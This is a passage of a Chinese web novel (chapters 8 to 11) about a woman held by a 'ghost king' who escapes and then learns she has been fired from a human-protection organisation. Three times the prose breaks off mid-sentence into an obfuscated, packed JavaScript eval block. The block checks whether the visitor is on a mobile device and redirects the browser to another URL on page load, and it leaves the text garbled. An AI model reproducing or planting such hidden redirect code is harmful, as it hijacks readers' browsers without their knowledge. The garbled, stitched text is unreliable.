谢然皱了皱眉,松开手,任由她躺倒在沙发上,晕头转向之际,她忽然察觉到手上多了一个冰凉的环状物。 勉强睁开眼睛一瞧,竟然是被他没收已久的通讯器。 看着她先是疑惑万分,随后又惊喜不已的神情,谢然冷冰冰地说道:“没有放你走的意思。” 她迫不及待地将通讯器打开,首页面需要进行瞳孔识别,她略显踌躇地看了一眼谢然。 这个时候将通讯器还给她,莫不是想要将她的背景再摸个底朝天吧? 毕竟通讯器不仅有组织的一些信息,家庭页面也有她爸妈的信息。 想到这里,一股凉意顺着脊背爬上来,她脸色瞬间白了几分。 8. 第 8 章 谢然懒得多解释,转身出去了。 宋绮梦犹豫片刻,还是没忍住进行了识别,随即先点开家庭页面。 果然,几天没有点开的页面乱成一团,亲朋好友都在关心她的情况,她爸妈更是给她打了许多电话。 她颤抖着手一一进行了回复,终于安心了片刻。 点开组织页面,却空空如也,除了几条系统提示外,就连她的同事兼好朋友——组织人事部的裴雪,都没有半句话发过来。 她只愣了片刻,又回过身来——她被组织派出来当卧底,自然是知道的人越少越好,她的消息可能也是被封锁的状态,这不奇怪。 此时谢然又进来了,她心一慌,按灭了屏幕,作出一副认命的样子,将通讯器双手奉还。 “拿着,本来就是你的东西,不用还我了。”谢然的声音虽冷,可宋绮梦如听仙乐耳暂明。 发生了什么?他怎么忽然不对着她严防死守了? 她蜷起双腿,坐直了身子,表情疑惑地挠了挠头,似乎还在消化这件事。 “难道是我昏迷的时候替你做了几次按摩?”她一不留神就说了出来,耳边传来噗嗤一声,她茫然抬头看去,第一次见到谢然露出忍俊不禁的表情。 有时候……她还真是有点可爱,谢然无奈暗叹。 接下来的几天,宋绮梦大病初愈,基本上都在卧室里养身体,谢然很少过来看她。 这几天,她察觉到他对她的一举一动似乎不那么关切了。 因为面对着亲人的呼唤,她心痒难耐,想要逃跑的念头又蠢蠢欲动起来。 可是经过了上一次招惹安德鲁的遭遇,她不敢轻举妄动。 如果真像她猜的一样,安德鲁是鬼物,那么,以她目前在组织学的一些皮毛,根本就难以抵抗。 她忽然想到,入职的时候赠送的一件避鬼罩,不知道有没有效果。 这件避鬼罩是一家权威机构研究的,算作新人入职福利,每人一件。因为外包装过于迷你,宋绮梦随手把它放在此前随身携带的包里。 现在不知道谢然把它放到什么地方去了。 宋绮梦怀揣着别的心思,这几天恢复好了之后,就时常到处走动,谢然偶尔撞见她,也并不阻拦。 没几天,宋绮梦就把别墅的大概布局摸得一清二楚。 但是,并没有找到她的包在哪里。 那个可以缩小到随身携带的浅绿色手提包,应当是很显眼的存在。 如果到处都找不到,那大概率是在…… 在唯一一个她最近没敢再去的地方——谢然的卧室。 谢然这么诡计多端,她肯定不能偷偷去他的卧室,以免留下痕迹被发现,难以解释。 想来想去,不如趁着他即将入睡之前,也是最没有防备的时候突然过去,杀他个措手不及。 宋绮梦向来是说干就干的人,她趁着晚饭时间结束,穿戴整齐,在晚上十点左右,敲开了谢然的卧室门。 谢然开门的时候,穿着灰黑色毛绒睡衣,白天的冷隽气息淡了几分,取而代之的是放松和倦意。 见她来,他倒并不意外,侧过身体,留出空隙来,示意她可以进去。 一进门,刺骨的寒冷瞬间侵入她的身体,她原本穿的夏季的牛仔裤和T恤完全无法抵挡这股严寒,鸡皮疙瘩瞬间布满两条手臂,她抱紧双臂,惊恐地问道:“怎么这么冷?” 怪不得谢然穿着那么厚的睡衣。 谢然没有回答她的问题,而是轻声问道:“要加一件衣服吗?” 宋绮梦的视线停留在谢然递过来的同款毛绒睡衣上,本来想要回去拿自己卧室的衣服,可又担心错过这次机会,只好犹豫着接了过来,披在身上。 “找我什么事?”谢然毫不拘谨地坐在床上发问。 来之前,宋绮梦早就酝酿好了说辞,她此时也不再藏着掖着,开门见山地说道:“我知道我对你来说是有用的。” “嗯,所以呢?”谢然歪着头看向她。 “所以。”她深吸一口气,将话语全部倒出来:“所以你可以向我提一些不过分的要求,我会尽我所能帮你,但我也想获得一定的回馈,简而言之就是,我们可以做交易。” “好。”谢然点点头,随即翻身在床上趴下来:“那你再替我按摩一次。” 宋绮梦的大脑又宕机了。 不是?他怎么随随便便就答应了? 而且还是她最恨的按摩,天杀的按摩!他对按摩到底有什么执念? 大半夜的,凭什么要她在他卧室里按摩,两人肌肤相贴的,太暧昧了吧? 她怀疑他是不是故意的,毕竟一个传说中活了两百多年的鬼王,连个缓解肩颈酸痛、腰肌劳损的能力都没有? “等一下。”她用尽力气将怒火憋回去:“我还没说我想要什么呢。” “嗯,那你说。”还是波澜不惊的声音,可叫人听了心里无端冒火。 “我想要我的包。”她直接开口。 这几天,本来也想过用偷摸的方式拿,后来又想到最近几天发生的种种怪事,决定了还是打直球比较稳妥。 “可以,按摩。”依旧是平稳的声线,宋绮梦听得咬了咬牙,还是问道:“能不能换一个?” 谢然的声音从睡衣帽檐下传出来,有些闷闷的:“现在是你来求我,不是我求你。” 言下之意,是他按不按摩都无所谓,可她却一定要自己的包。 “想好了没?我要睡觉了。”谢然赶客的意思很明显,还不轻不重地加了一句:“明天你再来,可能就要加码了。” 宋绮梦气笑了。 他到底是有多缺这个按摩。 行,好。她咬着牙走到床边,把毛绒睡衣袖子撸起来。 因为心里憋着气,她按得相当用力,一套流程下来,手酸了不说,身上还起了一层薄汗。 谢然这时才发出声音来:“嗯,今天力道不错。” 宋绮梦忽然像泄了气的皮球一样瘫了下去——没辙了。 对付这样死皮赖脸的人,她道行浅,实在是没有任何办法。 方才按的用力,谢然的上衣已经缩到腰际,宋绮梦方才甩手的时候,一不小心撞了上去。 她的手脚冰凉,谢然骤然抬起上身,发出“嘶”的一声。 “啊,不好意思,我不是故意的。”她忙不迭地解释,心里却是大仇得报一样的快活。 谢然从床上爬起来,拉开床边床头柜的抽屉,将她的包丢了出来。 宋绮梦如临大赦,道了声谢,就抓紧时间离开了,临走还没忘了随手关门。 谢然重新趴在床上,过了没到十秒钟,就听到外头传来一阵急促的敲门声。 他慢悠悠打开门,宋绮梦满脸惊疑与愤怒:“谢然,我包里的东西呢?” 谢然被她紧紧盯着,还是露出了无辜的神情。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198974|197144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你说要包,可没说要包里的东西。” 这句话彻底点燃了宋绮梦,她又露出那天在书房一样的表情来,整张脸都气红了,用手指着他,半天才说出话来:“你堂堂一个鬼王,怎么能这么捉弄人?” 谢然倒也不恼,只是若有所思地看着她:“鬼王这个称号一直是你自己封的,我可从来没承认过。” 宋绮梦懒得再同他掰扯,闪身进去,把空包摔在床头柜上。 “趴下。”她叉着腰吩咐。 谢然惊诧地望向她。 “你不是喜欢按摩吗?那好,你把包里的东西都还给我,我大不了再替你按摩一次。” 原来是这个意思,谢然努力将嘴角翘起的弧度按压下去,随后回答道:“今天已经按够了,不需要了。” “不过,你要是真想要包里的东西,也有别的方法可以换。” “什么方法?” 谢然指着床边的空地:“像之前一样,在这里待一晚上。” 宋绮梦的惊讶程度已经不能用语言来形容了。 她沉默许久,丧失了几乎所有的力气。 “鬼王大人。”她垂着头,无力地说道:“我到底是哪里得罪了你?这么久了,还是不肯放过我?” “算了。”她无力地摆摆手:“你有心思折腾我,我没有体力再奉陪了。” 前几天大病一场,最近好不容易才睡了几个晚上的囫囵觉,实在经不起折腾了。 垂头丧气间走到门口,谁知使尽了力气也没按动把手。 “嗯?”她才疑惑了瞬间,便感到一个颇具压迫性的阴影在她身后,缓缓靠拢过来。 她缓缓回头看去,见谢然已经走到她身后,居高临下地看过来,表情也不像刚才那样轻松。 不再是商量的语气,他低声说道:“今晚留下,包里的东西还给你。” 不知道是不是她看错了,他的眼神里好像带了点攫取的欲望,显而易见。 宋绮梦全身都缩在门上,凉意从脊椎骨下方蔓延自四肢百骸,她手心沁出了冷汗。 “我……我不要了!”她一边说着,一边反手去按门把手,甚至加大了力气。 可惜,一点反应也没有。 宋绮梦瞬间后悔万分——她总是这样傻。 这个所谓的鬼王,归根结底也是个男人,而且还很有可能寡了一两百年。 她早就该想到,以他的能力,为什么非要她在身边?美其名曰需要她的超能力,可这十几天过去,超能力没看到一点,按摩能力却见长了。 今晚她又主动送上门来,可不是羊入虎口么! “谢,谢然。”她勉强做出一个比哭还难看的笑容来:“违法的事还是不要干了吧?” 谢然脸上闪过一瞬间的愕然,随即又有些无奈,他没有开口解释,而是转身走到衣柜前,开始翻箱倒柜地收拾东西。 宋绮梦眼看着他从衣柜里翻出一大包细绳来,心里轰的一声响。 他还想着绑她?去他的吧! 大不了拼了!她反应很快,从门后的墙边抄起一只沉重的金属衣架来。 随着一声脆响,宋绮梦准确地将金属衣架砸在谢然后脑,因为太过用力,整个右手都震麻了。 谢然怔住了,随即摸了摸后脑,难以置信地回过头来。 他脸上的神情,又变成了试探她超能力失败的那一天:怀疑、愤怒又无可奈何。 9. 第 9 章 没想到即便这样,他还是有那样大的力气。 宋绮梦被仰面扑倒在床上,双手手腕被谢然用一只手压得死死的,他整个人欺身压在她腿上,她完全动弹不得。 制服了她,谢然面色阴沉的单手摸了摸后脑勺,虽然没有出血,可还是钝痛无比。 宋绮梦白着一张脸,早就被眼前的变故惊得说不出话来,只管怔怔地盯着他,一时间就连逃跑都忘了。 房间内的温度在不知不觉间已经有所上升。折腾了这几下,谢然也出了一点薄汗,他将颈间的扣子解开了一个,又伸手去解第二个。 他看似随意的举动,在宋绮梦眼中却犹如晴天霹雳一样。她瞬间绷紧了身体,僵直的神经被恐惧催发,迫使她发出一连串不成调的声音来。 谢然皱着眉,俯下身子去听。 “鬼王……大人,你……放了我,我再也不会来招惹你了……”宋绮梦一边用颤抖的声音勉强说出这句话来,一边懊悔自己为什么不知死活地撞上枪口。 双手在极度紧张下紧紧攥成拳,手心都被指甲掐出了白印。谢然冷眼看着她,一边在心中暗讽她的胆小,一边又对她方才的行为仍有不满。 看着她这副破碎的样子,他起了恶作剧的心,骤然俯下身体,凑近她的耳边。 犹如恶魔一般的声音在她耳边响起:“现在知道怕了?晚了。” 他的气息喷洒在耳畔,她不由自主地起了一身鸡皮疙瘩,手肘支撑着身体,想要坐起来,可是他手上的力气未减分毫。 她又颓然跌了回去。 他看着她涨红的脸,又凑上去,想要再吓她一下。 谁知,这次的她毫无反应,他疑惑地看去,才发现她身上抖得厉害,偏着头,眼中的泪水像决堤的洪水一样淌出来,把他的枕头濡湿了一大片。 手上的力道顿时松了下来,他暗中叹了口气,从床上翻身下来,弯着腰到衣柜里将一个折叠床搬出来,拆开收拾好。 他躺上去,尽量用平静的声音对她说了一句:“睡吧,我不会碰你。” 她的眼泪一时间止不住,心里也充满了困惑,不知道他为什么变了态度。 试探地抽了几张纸巾,擦干脸上的泪,一边小心翼翼地向远离谢然的另一侧缩了缩。 谢然很快就睡着了,她一个人在床上,翻来覆去,辗转难眠。 直到深夜,她才实在顶不住困意,勉强睡了一会儿。 第二天起来,谢然又是心情大好,仿佛忘了昨晚被她敲头一样,又亲手做了早饭,喊她来吃。 她顶着黑眼圈,沉默不语地吃了几口。 谢然明显想要缓和气氛,甚至亲自夹了一个荷包蛋给她,她顿了顿,并没有动一口。 “吓着你了?”他摇摇头,略显无奈:“昨晚我根本就没有你想的那个意思……” 她没等他说完,就站起身来:“我吃饱了。” 说完,就回了自己的卧室,反锁了房门。 谢然又叹了口气,自己一个人吃了两个荷包蛋。 昨晚的试验很成功——即便是宋绮梦睡眠状态下,四周的灵体还是少了许多,足以使他安眠。 唯一的坏处是吓到了她,也没太大关系,慢慢解释就是了。 而此时的宋绮梦面色灰白地坐在床上,缓缓打开了自己的包。 谢然没有食言,真的把包里的东西一并还给了她。 打开那张组织发的避鬼罩,看了看说明书。 原来是有使用限制的,只能用三次,每次贴在身上,使用完成之后取下来即可,功能是隔绝大部分的鬼物。 她犹豫了半晌,透过窗户,看到下头仍然是飘荡的菜园,不知道蕴藏着多少危险。 可别墅里的人也同样危险,不仅是作为鬼王的危险,同样和有陌生男人共处一室的危险。 比起里面的危险,她更愿意面对外面看不见样貌的鬼怪。 她拿定了主意,要光明正大地从这里走出去。 即便千难万险,也要试一试。 即便失败了,看在她还对谢然有用的份上,谢然应该也不会杀她。 本来想着晚两天再出逃,可昨夜发生的事太过惊悚,她甚至没有勇气面对今夜。 换上方便逃脱的运动服和运动鞋,趁着谢然午睡的当口,她又一次从窗口跳了出去。 这一次她没有慌乱,从容穿过菜地,感受着四周瓜果清香,内心也是一片沉寂。 她观察到菜地里虽然有打理过的痕迹,但竟然一点虫子和农药的痕迹都没有。 来不及细想,她又一次跨过栅栏,奋力向下一跃。 并没有上一次一样受到阻滞的感觉,她的双脚轻巧地降落在黄土地上,晃动身子,站稳了。 缓缓向远离别墅的方向走了几步,发觉没有任何阻隔后,她心中难以抑制地涌现出一丝狂喜。 不受控制地向前狂奔起来,一直跑到浑身乏力,大口喘着粗气,她才停下来。 回头一瞧,别墅已经距离她很远了。 只可惜,这四周都是一望无际的荒地,甚至连一条像样的乡间小路都找不到,她没有办法,只能向着远方一直走下去。 不知过了多久,天边的太阳已经缓缓坠入地平线,先前还是明黄色,如今已经掺杂了橘色,四周光线也黯淡下来,宋绮梦觉得四周的温度也像落日一样坠下去,她停下来,喘了口气。 将包里的水拿出来喝了一口,就着从别墅里偷的饼干吃完,身上恢复了一点力气。 本来打算不分白天黑夜逃出去,可直到夜幕完全笼罩大地,她才发觉自己的想法过于天真了。 四周漆黑一片,什么都看不清,不远处似乎还有不明动物的叫声,充满了未知的恐惧。 她找了一处隆起的土包,藏在后头,将自己的身体蜷成一团,以免夜晚温度流失。 才朦胧睡去没多久,不远处忽然响起一阵汽车引擎的声音,有一男一女谈话的声音传来,似乎越来越近。 宋绮梦瞬间警觉起来,她调整身姿,屏住呼吸,做好随时准备逃走的准备。 脚步声在土包前头停了下来,隐约传来一个女人抱怨的声音:“叫你别往这里开,你非不听,现在好了,天都黑了,还是没找到你说的地方。” 一个男人的声音传来:“反正是出来玩嘛,没找到也不要紧,明天白天再找就是了。” “你说的轻巧,医院里的假哪里是那么好请的?白白浪费了一天。” 男人没有再回话,而是打开了手上的强光灯,一瞬间,这片荒地被照得亮如白昼。 “你看嘛,光秃秃的,连棵草都没有。”女人又抱怨起来:“这里哪有你说的什么湖泊……” “要不然还是赶快回去吧,连个人影都没有,怪吓人的。”女人上前一步,拉了拉男人的后衣襟,放低了声音说道。 宋绮梦听了半天,他们似乎是一同出来游玩的夫妻,没什么危险性。 眼见男人似乎被女人说动,两人就要向车子的方向走去,宋绮梦大着胆子抓起一块石头,不轻不重地敲了几下。 声音惊动了两人,女人率先做出反应,抓紧男人的胳膊,惊恐道:“老公,什么声音?” 男人也听到了,故作镇定:“怕什么,多半是附近的什么小动物吧。” 那声音又规律地响起来,男人也变了脸色,两人一同狂奔起来,想要尽快逃离。 宋绮梦见状,只好扯着嗓子喊了一声救命。 过了许久,才又听到窸窸窣窣的脚步声由远及近,强光灯猛地照在宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198975|197144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绮梦身上,她眯了眼睛。 “小姑娘,你怎么一个人在这里啊?”女人颤抖的声音传来。 “我……”宋绮梦装出十分虚弱的样子,泪眼朦胧道:“我被人绑架了,偷偷跑出来之后迷路了,还崴了脚,只能躲在这里。” 男人向前走了几步,在确信她身边没有别人后,才招手叫女人一起来,两人将她扶了起来,向车上走去。 宋绮梦天真无邪的样子丝毫没有引起夫妻两人的怀疑。 “太危险了。”女人坐上副驾驶,一边叫男人发动汽车,一边回头冲着后座关心地问道:“小姑娘,要不要吃点什么?” 宋绮梦蜷缩在后座,摇了摇头,没有吭声。 车子一路开到最近的人类保护组织中心大楼,宋绮梦简直不敢相信自己这样轻而易举地逃了出来,她忙不迭地冲到办公楼前,进行瞳孔识别。 显示识别失败。 怎么会?她入职的是组织总部,其他分部的系统都是互联的,没理由识别不通过才对。 她不死心地又试了几次,无一例外,都失败了。 超过三次,已经有几个安保人员有序走来,对着宋绮梦说道:“你好女士,请问有什么事?” 宋绮梦犹豫半晌,摇了摇头。 她没忘记自己此时还在上一份卧底的保密任务中,不能轻易暴露身份。 “不好意思,我好像走错地方了。”她道了歉,走出了分部。 通讯器内显示着她的个人资产余额,仅仅剩下一顿饭+一次打车的钱,她别无选择,只好咬牙叫了一辆无人驾驶出租车,前往组织总部。 她被谢然软禁了将近一个月,这期间,可能组织进行了系统整改,分部识别不了她的身份,也是有可能的。 她在车上昏睡了一会儿,天刚亮时,到达了总部的大门。 就像落水之人抓到救命稻草,她回到熟悉的地方,激动地眼角泛红,来不及说什么,急切地进了大门,冲到办公大楼前,进行瞳孔识别。 冰冷的机械女声无情地提示:“识别失败。对不起,您不是组织中心的工作人员。” 她呼吸顿止,难以置信,颤抖着手又试了一次。 还是失败。 三次,四次…… 安保人员的脚步声近在咫尺,她咬了咬牙,转身离开了总部大楼。 …… 与此同时,谢然站在书房的窗前,眼神淡淡地瞥过接连不停闪烁着来电显示的手机,逐一选择了挂断。 他略微思索了一会儿,还是点开消息,看到满屏幕都是安晓生发的,带着感叹号和问号的质问。 他皱了皱眉,电话拨了回去。 “谢然?”安晓生的声音算不上客气:“你放了她就放了,怎么还整这一出?” “她被人类保护组织开除,这件事你早就知道,为什么还非要组织一堆测试?你不知道那很危险吗?有些鬼魂连你都不好控制,你就放心叫她自己去尝试?” 安晓生追问了半天,得到的只是谢然一句平淡如水的回应:“我相信她。” “……”安晓生发出一连串的叹息声,随即又问:“那个一直联络你、给你出主意的刘旭丰,你知道他是好人还是坏人?他背后受什么人指使?就这么听从他的建议,万一是圈套呢?” “晓生。”谢然打断了他的话:“不重要了。” “什么不重要?” “无论他是谁,目的是什么,背后是谁,都不重要了。”谢然发出无声的喟叹:“我等不了多久了。” 电话那头骤然沉默起来,谢然不管不顾地继续说道:“宋绮梦的身份我仔细查过,没什么纰漏,她也不像是贪婪狡诈的人。” “我想要达成的目的,或许只有她可以完成。” 10.第 10 章 在总部大楼不远处的一个窄巷里,宋绮梦安静等了许久。 今天是工作日,按照正常情况,她的闺蜜裴雪应该会来上班。 她住得离这里不远,这里是她上班的必经之路。 裴雪是人事部的人,许多事应该能帮得到她。 果不其然,就在宋绮梦打着哈欠等了快一个小时,终于在三五成群的上班族中,看到了裴雪的身影。 确信裴雪身边没有可疑之人后,她一个箭步冲了出去。 “裴雪!”她轻声叫道。 裴雪无精打采的面容震了震,似乎不敢相信宋绮梦会出现在这里。 “绮……绮梦?”裴雪忙不迭地跟着宋绮梦来到窄巷里,惊奇地问道:“你怎么在这里等我?” “说来话长。”宋绮梦眼瞧着还有十五分钟就到上班打卡的时间点了,她拉住裴雪的手,匆忙问道:“闻处还在吗?” “闻处?”裴雪显出一阵茫然来:“你是说闻展辉?” “他上个月就离职了,不知道去哪里了。” 裴雪的话仿佛一阵晴天霹雳,震得宋绮梦晕头转向。 “怎么会?”她忙又问道:“我听辉哥指派,去做了一个秘密任务,回来之后,发现刷不进去办公楼了。” 裴雪面露难色,过了半晌,才缓缓说道:“半个多月前,差不多就是闻展辉离职的几天后,组织内部出了一份公告,有几个人因为入职考核没有通过,被开除了。” “那里面有你的名字。” 眼看着宋绮梦有些站立不稳,裴雪忙将她扶住,轻声劝慰。 “你不知道?我之后花了些心思联系你,但是都没联系上。后来,我收到一条消息,说是你的新账号,说你回老家找父母去了,我再发消息给这个账号,也没人回我。” 裴雪终究是有些愧疚起来:“我想着你应该是被开除之后心情不好,不愿理我。没想到你压根不知情?” 眼看着上班时间就要到了,裴雪急匆匆地握住宋绮梦的手:“绮梦你先别想那么多,也许是系统出了故障,今天有个任务不能请假,我先去上班,你去我租的公寓休息,密码是486412。” 来到裴雪住的单人公寓内,宋绮梦神色恍惚,都不知道是怎么迈着沉重的步伐一步一步挪过来的。 虽然已经饿得浑身无力,可她一点胃口都没有,迫不及待地将通讯器打开,试着给行动部的同事发了一条消息。 果然是发不出去的状态。 仔细查看系统公告栏和私人信箱,也没有看到自己被开除的消息。 究竟是怎么一回事? 是她被谢然发现后,组织当机立断将她和闻展辉都开除了,还是她被闻展辉骗了,在她到了谢然的地盘之后就变成了一枚弃子? 她想不通。 站起身来,一阵头晕眼花,她知道自己不能再这样下去了,随手啃了一根香蕉,又挪到卫生间,清洗了一下。 捱到晚上,裴雪终于回来了。 “绮梦。”裴雪将手里的包往门后一挂,迫不及待地喊她:“快来。” “我又查了一下系统公告,是6月15号当天发布的你被开除的公告,闻展辉是6月12号离职的。” 6月12号?宋绮梦依稀记得,这正是她才到谢然的别墅里,被发现后摘除芯片的日子。 这么说来,在她被谢然发现的时候,闻展辉马上就逃跑了。 出于某种原因,组织也马上做了决定,将她开除。 可是,按照组织以往做事的规矩,不应该先派人去救她吗? 毕竟,当初那份卧底工作通知函,上面是有组织的印章的,这件事不可能只有闻展辉一人知情。 她点开通讯器,想找到保存在个人文件夹的工作通知函和保密函,这才发现这两份证据已经悄然消失不见了。 她眼前一阵发黑,不得已间蹲下身子,大口大口喘着粗气。 “绮梦,你别着急。”裴雪也不知道发生了什么,但还是扶着她,好心安慰道:“明天我四处打听一下。” 宋绮梦一时间说不出话来,她将手上的通讯器举起来给裴雪看。 “咦?”裴雪发出惊叹声:“你的通讯器怎么还能进组织中心?” 如果是被开除了,那她的账号一定已经被注销了。 “别急别急。”裴雪急切地劝慰着:“这说明很有可能是人事部搞错了,你等我明天问问。” 宋绮梦蹲着缓了半分钟,面对着错综复杂的迷局和前路未卜的命运,她终于被情绪击垮,将整张脸埋进膝盖里,禁不住哭到浑身颤抖起来。 人类保护组织是最大最体面的工作地点了,一旦进去就等于买了养老保险,报酬高不说,福利待遇也是很好的。 她好不容易考进去,又因为莫名其妙的原因被开除,怎么会不伤心。 裴雪耐心安慰了许久,宋绮梦才仰起哭花了的脸来,哑着嗓子求裴雪帮忙再去打探一下情况。 又浑浑噩噩地在公寓里待了一天,耐心等着裴雪回来,憧憬着能有什么好消息。 思来想去,还是决定先不把最近一段时间的遭遇告诉父母,免得他们担心。 忍着难过,和他们电话报了平安之后,终于等来了裴雪那边一个不算好消息的好消息。 “绮梦,你听我说,你的事情非常复杂,我这个层级暂时还打听不到具体情况,但是我听我主管说,你这种情况还是有转圜的余地的。” 裴雪气喘吁吁的,应该是在下班路上,都没顾上回家当面讲,就用通讯器和宋绮梦通话了。 “你现在还能进得去组织中心,说明还可以接受组织安排的突发任务。”裴雪语气欢快起来:“听说,如果能连续完成三个组织安排的任务,你就能被重新破格录取。” “真的?”宋绮梦从沙发上蹦起来,马上点开了通讯器。 果然,在“接收任务”那一栏,她真的看到了确认按钮。 毫不犹豫地按下去,心脏的跳动更快了几分。 “但是。”电话那头裴雪的声音又带了几分焦虑:“这些任务都是一些疑难杂症,很难处理的,我担心你坚持不住。” 见宋绮梦久久不吭声,裴雪猜到了什么:“你刚刚不会已经同意了接收任务吧?” “……”宋绮梦带着尴尬的笑容呆在原地,半晌才爆发出一声感叹:“啊啊啊小祖宗,你怎么不早说?” “你怎么那么性急?”裴雪的声音充满了无奈:“那些任务都是组织行动部处理不了的事件,你一个新人才入职多久,怎么可能那么轻松就能解决……” “你好不容易从上个任务里脱身,不如好好休息一下再做打算嘛。”裴雪叹息道。 “我……我这不是手头没钱了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200431|197144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘛。”宋绮梦嘟囔道:“没有组织的工资,我真的活不下去了。” “这有什么,没有钱你还有爸妈,你爸妈不给你还有我呢。”裴雪说着,已经到了门口,她迈步进门,挂了电话,冲着屋内的宋绮梦大大地叹了口气。 “这下好了。”裴雪无力地说道:“我们还是赶紧复习一下组织之前发的行动指南吧,万一真的遇到危险,你的小命都要不保了。” 宋绮梦入职行动处之后,从来没有真正出过行动,第一个任务就是做卧底,但已失败。 人类保护组织分为几个大的部门:行政处、医疗处、后勤处、刑侦处和行动处。以行政处权力最大,裴雪就在隶属于行政处的人事部里。 宋绮梦在行动处下辖的突发事件部里,行动处,顾名思义就是要去各处进行实际行动的部门,帮助各地的人类摆脱各种灾难,包括但不限于自然灾害、灵异事件、其他突发事件等。 宋绮梦打开行动处的员工指南,又仔细看了一遍。 总方针、分节学习、人身安全…… 一下午看了几万字,还是觉得心里空落落的。 “纸上得来终觉浅……”宋绮梦单手撑着下巴,喃喃自语。 裴雪有一个关系不错的师兄在培训部,名字叫夏轩,好说歹说把他喊过来给宋绮梦做了两天单独培训,这才觉得放心了许多。 夏轩走后,宋绮梦站起来,忽然冲上去,将裴雪紧紧地抱在怀里,头在她肩膀上蹭来蹭去。 “好闺蜜……”她实在不知道怎么谢谢裴雪了,只能说着:“如果这次成了,我把我前三个月工资都拿来请你吃饭。” 裴雪忍不住偷笑:“得了吧你。” “要是没成功,我也会想办法还你这个人情的。”她用滚圆的双眼看着裴雪,嘟起嘴来:“我又饿了。” 裴雪才要讲话,宋绮梦的通讯器“滴滴滴”响了三声,两个人表情同时变得凝重起来。 点开最新消息,选择虚拟大屏投放,几行大字在两人面前缓缓浮现出来: 【新任务1】来自K区花园一号小区,媛媛父母的求助。 任务描述:媛媛,大名井媛,女,12岁,父母哭诉其进入青春期后脾气古怪,不再听话,成绩下滑,多方劝说不听,近日还有轻生迹象,恳请人保组织派人安抚、保护。 旁边是井媛的照片。 看起来,倒像是个比较简单的任务。 宋绮梦这样想着,已经将心里的话说了出来,裴雪面色一沉:“我看未必。” “真这么简单,还会是组织解决不了的难题?”她分析道。 “或许是组织暗中给了我这个机会呢。”宋绮梦笑了笑,拍拍裴雪的肩膀,示意她不要太过担心。 “要不我陪你去吧。”裴雪担忧未止。 “不必了。”宋绮梦用无比真诚的目光看向裴雪:“你真的已经帮了我太多了,而且你最近工作忙,耽误了就不好了。” “放心吧,我吉人自有天相。”宋绮梦仍然坚持着最初保密协议里面的规定,没有把卧底一事和裴雪说,但这时候还是说着:“第一个任务很凶险,我不也坚持下来了嘛。” 裴雪还是叮嘱了几句,才将宋绮梦送出门去。 辗转几条线路到了K区花园一号,宋绮梦刚下车就被潮湿的空气弄得有些不适应。 下雨了,好冷。 11.第 11 章 与此同时,别墅的书房的一角,谢然用晌午放凉了的茶水残液洗了洗手,将桌上摊开的《亲密关系》阖上,转头将闪着来电显示的手机拿来,按了接听键。 “谢先生。”熟悉的声音传来:“抱歉打扰了,陈某……” 谢然眉头皱起来,显然是不耐烦这样虚情假意的寒暄。 “说重点。”他冷冷地打断,全然不顾电话那头的尴尬。 “谢先生,我知道宋小姐那边的行踪,如果有需要……” “不必了。”谢然毫不客气地回应:“不需要了。” 他按下挂断键,将那边紧急的解释和确认隔绝在电话之后。 没过两分钟,安晓生的电话打了过来,他盯着屏幕看了几秒,按了接听键。 “她已经到K区了。”安晓生刻意压低的声音传来:“按你说的,这是第一个任务。” “嗯。”谢然眉头解开了片刻:“多谢你的人脉。” “……”安晓生有些无奈,想了想还是说道:“你做的决定一般都不会轻易改变,但是我还是想劝几句……” “既然知道不会变,就不必劝了。”谢然显然心情不错,但也没有由着安晓生肆意说下去。 安晓生只好换了个话题:“她今夜就会到事发现场,不出意外的话,明天可能就会有正面交锋。” “嗯。”谢然沉吟片刻,还是叮嘱道:“我会在暗处盯着,但是如果有其他危险,还请你的朋友多多看顾一下,别伤了她的性命。” 安晓生沉默了一会儿,还是无奈地答应了,随即又感叹道:“谁叫我欠你的呢。” 通话完毕,谢然走到二楼去,看着几个机器人女仆围着一只四处乱跳的小动物,正手忙脚乱地试图捉它。 “黑皮。”他走上前去,轻声呼唤:“到这里来。” 黑皮闻声而动,一个健步冲到他跟前来,如宝石一般闪着光泽的棕黑色眼睛里,倒映出他的影子。 黑皮是一只纯黑色的小狗,不是什么知名品种,但毛发亮堂,健康活泼,精神十足。 被谢然费心训练了几天,它现在十分听话,不仅能听懂一些简单的指令,甚至学会了在卫生间上厕所。 它跟着谢然的脚步,一蹦一跳地来到了谢然的卧室。 谢然将门窗关好锁死,坐在床上,又拿出一大碗狗粮来,倒在碗里。 他摸了摸黑皮的头,轻声吩咐:“这几天哪里都不要去,听见没?” 